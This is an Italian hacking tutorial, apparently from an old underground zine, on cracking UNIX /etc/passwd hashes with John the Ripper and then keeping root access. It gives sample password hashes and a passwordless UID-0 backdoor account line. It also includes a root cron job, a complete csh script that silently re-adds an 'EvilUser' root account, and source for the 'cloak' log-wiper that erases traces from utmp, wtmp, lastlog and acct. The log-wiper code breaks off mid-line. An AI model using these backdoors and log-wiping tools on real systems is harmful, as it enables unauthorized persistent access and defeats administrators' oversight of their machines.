Target: ** (*=novizio, **=apprendista, ***=esperto, ****=hackers)
1) Introduzione
UNIX è uno dei sistemi operativi più usati nelle grandi società come le grandi aziende o le
università. Ormai da anni ha il monopolio assoluto anche se ultimamente fa capolino il
gioiellino di mamma Micro$oft: Windows NT. Per noi hackers spero si diffonda ben presto nelle
aziende così il nostro lavoro risulterebbe più facile visto gli innumerevoli bug che presenta
(almeno fino alla versione 4). Però, ripensandoci, credo sia meglio che UNIX rimanga sennò la
sfida dov'è? Ma bando alle ciance iniziamo a vedere come crackare le password di UNIX...
Pronti? Yessssss!!!!
2) Dalla teoria alla pratica
Innanzitutto bisogna sapere che il phile più importante nel sistema UNIX è : /etc/passwd
Questa miniera d'oro contiene tutti gli account degli utenti che hanno accesso al sistema!!!
Ma vediamo come è strutturato....
Esso è un semplice phile testo formato da tante righe che hanno questa forma:
Login:PwdCriptata:UserID:GroupID:RealName:HomeDirectory:Shell
Ma vediamo un esempio pratico; un phile di password può essere così:
root:banq4O/wqTxdA:0:3:,,,:/:/sbin/sh
daemon:*:1:5::/:/sbin/sh
bin:*:2:2::/usr/bin:/sbin/sh
sys:*:3:3::/dev/null:/bin/false
adm:*:4:4::/var/adm:/sbin/sh
comment:*:17:17::/dev/null:/bin/false
hpdb:*:27:1:ALLBASE:/:/sbin/sh
lordk:KJ8.S66pWe3Ag:150:13:Lord KasKo:/student/lk:/usr/bin/ksh
analizziamo ora il suo significato:
Primo campo : Login
La prima login generalmente è 'root'. Essa rappresenta l'amministratore di systema ed avere
la sua password significa essere i 'Padroni di Casa' e fare ciò che si vuole.
Altre login generalmente presenti sono 'deamon', 'bin' ecc... ed infine ci sono gli utenti
come Lord KasKo con login lordk.
Secondo campo: PwdCriptata
Ovviamente mettere la password in chiaro(cioè scrivere la pwd così come la si inserisce) non
sarebbe stato troppo da furbi perchè una volta prelevato il phile passwd sarebbere bastato
leggerele ed inserirle per entrare nel sistema. Così quei geniacci che hanno inventato UNIX
hanno avuto la bella idea di criptarle. E hanno fatto, devo dire, un buon lavoro!!
Infatti hanno trovato un algoritmo di crypting denominato One-Way. Ma che vor dì?
Semplicemente ciò che indica la parola : 'a senso unico'. Quindi applicando l'algoritmo ad
una parola se ne ottiene una criptata, ma applicando alla parola criptata lo stesso algoritmo al
contrario non si ottiene la parola in chiaro. Bella invenzione vero? (Per i dettagli
vi rimando all'appendice "Come crackare le pwd di UNIX in una riga di Perl")
Quindi la password criptata di root è : "banq4O/wqTxdA" e la mia è : "KJ8.S66pWe3Ag".
Nelle righe di deamon, bin ecc al posto della password c'è un *. Ciò vuol dire che questo
account non è a disposizione degli utenti, ma è utilizzato dal sistema per servizi interni.
Quindi vuol dire che non ci si può loggare, per esempio, come "deamon".
Infine potreste trovare a posto delle password il simbolo +. Questo è veramente un casino.
Vuol dire che il phile di password è shadowed e quindi il vero phile con le password
criptate è da qualche altra parte nel sistema, nascosto. Che fare a questo punto?
Andarsene con la coda tra le gambe? Col capo chino? in preda alle umilianti prese in
giro da parte degli altri colleghi hackers? No!!!!!! Finchè c'è vita c'è speranza.
Aspettate la sezione "I Phile Shadow" per rincuorare
i vostri animi.
Terzo campo : UserID
L'userID è un numero che identifica univocamente l'utente. Ogni utente ha un ID diverso.
Root ha come UID 0.
Quarto campo : GroupID
Il GroupID, invece, è un numero che identifica il gruppo a cui appartiene l'utente.
Ogni gruppo ha permessi diversi ai phile del sistema. Più il numero è basso più
permessi si hanno!
Ovviamente root ha come GID 0.
Quinto campo : RealName
Ovvero il vero nome dell'utente.
Sesto campo : HomeDirectory
Indica il path della Home directory dell'utente
Settimo campo : Shell
Indica la shell usata dall'utente
3) Ho il phile delle password e adesso ???????
Adesso siamo già a buon punto. Avendo il phile delle password, non shadowed, si può
iniziare una
ricerca delle password. In che modo visto che l'algoritmo di crypting è one-way?
Bhe, utilizzando uno dei tools più famosi per questo tipo di lavoro : John the Ripper v1.4
Questo ottimo software prende da un vocabolario di parole probabili una possibile password
e la cripta utilizzando l'algoritmo DES (il famoso one-way) e confronta il risultato con
tutte le password presenti nel phile. Se fa un hit vi comunica la password e quali login
la utilizzano.
Spesso capita che il vocabolario di parole probabili fallisce e allora che fare? John
utilizza una particolare ricerca di tipo incremental. Pratcamente genera tutte le parole
possibili utilizzando i comuni simboli del vocabolario(lettere maiuscole e minuscole,
numeri e simboli)e le confronta con quelle del nostro phile. Voi penserete che con i
computer moderni questo è un gioco da ragazzi.
Vi assicuro che per provarle tutte con un Pentium II ci mettereste qualche centinaio d'anni.
Però John grazie a delle statistiche sulle più comuni password utilizzate, fatte dai creatori del
programma stesso, prova prima le parole più probabili e lascia per ultimo quelle meno
probabili.
(Es. è più facile che alla lettera 'p' segua una 'r' o una 'a' piuttosto che una 'q').
Questo dovrebbe diminuire di molto i tempi di attesa.
Inoltre John prevede una ricerca veloce utilizzando le informazioni GECOS (il nome e cognome
dell'utente) perchè è risaputo che moltissimi utenti usano come password qualche derivato del
proprio nome o cognome.(es. Il sig. Bruno Rossi usa come password 'BRossi' o 'Bruno1')
Una volta che avete trovato qualche password non vi resta che entrare e dare una occhiata
al sistema ricordandovi di NON DANNEGGIARE alcun phile e NON RECARE DANNO AD ALCUNO.
Ne va della vostra fama di hacker. Se poi avete trovato la password di root allora siete
proprio fortunati.
Potete creare delle back door per mantenere l'accesso al sistema per sempre (o quasi).
4) Come creare delle back-door
Di backdoor se ne possono creare veramente molte ed il limite è imposto solo dalla fantasia.
Qui suggerisco le più facili da creare :
La backdoor classica
una volta che si ha l'accesso di root basta entrare nel phile delle
password ed inserire un nuovo account con permessi di root es:
lk::0:0:Lord KasKo:/sbin/sh <-- E' SOLO UN ESEMPIO
in questo modo basta loggarsi come lk e automaticamente, senza inserire la password,
si ha un account di root!!!
Backdoor nei phile di login:
Una volta recuperato i sorgenti dei phile di login basta modificarli in modo da 'agevolare'
una vostra successiva entrata e sosituire il vero login con il vostro.
Come modificare il phile lo lascio come compito a casa...
Backdoor con il CRON
Il CRON è un demone di UNIX che esegue dei programmi in momenti precisi (giorni, ore ecc.)
Nel phile /var/spool/crontabs/root sono presenti i cronjobs di root che ovviamente hanno i
permessi di root. Quindi basta inserire nei jobs l'esecuzione di uno script che, per esempio,
ogni giorno controlla se nel phile di password è presente l'account con permessi di root che
abbiamo inserito precedentemente per assicurarci un futuro accesso.(Non si sa mai che
l'amministratore se ne accorga e lo cancelli!! Oppure ci possono essere anche dei demoni
che si occupano di cancellare shell di root nel phile di password).
Il crontab è un phile testo formato dai seguenti campi:
1 2 3 4 5 6
min ore gg mm gs comando
min: minuto in cui deve partire il programma (0-59)
ore: ore " " " " (0-23)
gg: giorno " " " (1-31)
mm: mese " " " (1-12)
gs: giorno della settimana in cui deve partire il prg (1-6)
comando: il comando da eseguire
Per tornare alla nostra backdoor basta inserire nel /var/spool/crontabs/root la riga:
0 0 * * * /usr/bin/backdoor
dove 'backdoor' è uno script del tipo:
#!/bin/csh
# C'e' il nostro account nel passwd?
set evilflag = (`grep eviluser /etc/passwd`)
if($#evilflag == 0) then
set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Done...
else
endif
(Script tratto da SystemDown numero 3)
Questo script controlla se l'account EvilUser è presente nel phile di password
altrimenti lo aggiunge.
Una volta creata una di queste backdoors è FONDAMENTALE eliminare le proprie tracce,
altrimenti si può essere beccati. Per fare ciò ci sono dei programmini che fanno
questo per voi, quindi basta compilarli e lanciarli:
Questo è uno dei migiori:
/*
* C L O A K
*
* Wrap yourself in a cloak of darkness (heh heh heh).
*
* Michael S. Baldwin, Matthew Diaz 1982
*
* Marcus J. Ranum - 1983 - complete re-write and munging
* added more options, and all kinds of evil - including the
* ability to vanish from wtmp and acct as well as utmp. Added more
* error checking and useful command syntax. Now you can attribute
* all *YOUR* CPU usage to others when playing hack !!!
*
*/
#include
#include
#include
#include
#include
#include
#include
/* set these guys. If you're sysV a port should be easy */
#define UTMP "/etc/utmp"
#define WTMP "/usr/adm/wtmp"
#define LAST "/usr/adm/lastlog"
#define ACCT "/usr/adm/acct"
main(ac,av)
int ac;
char *av[];
{
char *tp = "";
char *un = "";
char *hn = "";
char *pn = "";
long newt = 0L;
int wflg = 0;
int aflg = 0;
int refs = 1;
int x; /* klunch */
char *p;
extern char *index();
extern time_t time();
for(x = 1; x < ac; x++) {
if(av[x][0] == '-')
switch(av[x][1]) {
case 'u': /* username to be :-) */
if((x + 1) < ac)
un = av[++x];
break;
case 't': /* tty slot to be on :-) */
if((x + 1) < ac)
tp = av[++x];
break;
case 'h': /* host name to be on :-) */
if((x + 1) < ac)
hn = av[++x];
break;
case 'r': /* # of refs to zap :-) */
if((x + 1) < ac)
refs = atoi(av[++x]);
break;
case 's':
execl("/bin/sh","sh",0);
perror("exec");
exit(1);
case 'w': /* vanish from wtmp, too */
wflg++;
break;
case 'a': /* vanish from acct, too */
aflg++;
break;
case 'p': /* specific program for acct */
if((x + 1) < ac)
pn = av[++x];
break;
case 'l': /* log on time */
if((x + 1) >= ac)
break;
newt = atoi(p = av[++x]);
if(p = index(p,':')) {
newt *= 60;
newt += ((newt > 0) ? 1 : -1) *
atoi(++p);
}
newt *= 60;
newt += time((long *)0L);
break;
default:
exit(usage());
}
}
if(wflg && wtmpzap(tp,un,hn,newt,refs))
perror(av[0]);
if(aflg && acctzap(un,pn))
perror(av[0]);
if(utmpzap(tp,un,hn,newt)) {
perror(av[0]);
exit(1);
}
if(lastzap(tp,un,hn,newt)) {
perror(av[0]);
exit(1);
}
exit(0);
}
utmpzap(tt,un,hn,tim)
char *tt;
char *un;
char *hn;
long tim;
{
int fd;
int slot;
struct utmp ubuf;
extern time_t time();
extern char *strncpy();
extern long lseek();
if((slot = ttyslot()) == 0) {
(void)fprintf(stderr,"No tty slot");
return(-1);
}
if((fd = open(UTMP,O_RDWR)) == -1 )
return(-1);
if(lseek(fd,(long)(slot * sizeof(ubuf)),0) < 0) {
(void)close(fd);
return(-1);
}
if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
(void)close(fd);
return(-1);
}
if(tim)
ubuf.ut_time = tim;
else
ubuf.ut_time = time((long *)0L);
(void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));
if(!tt[0] == '
|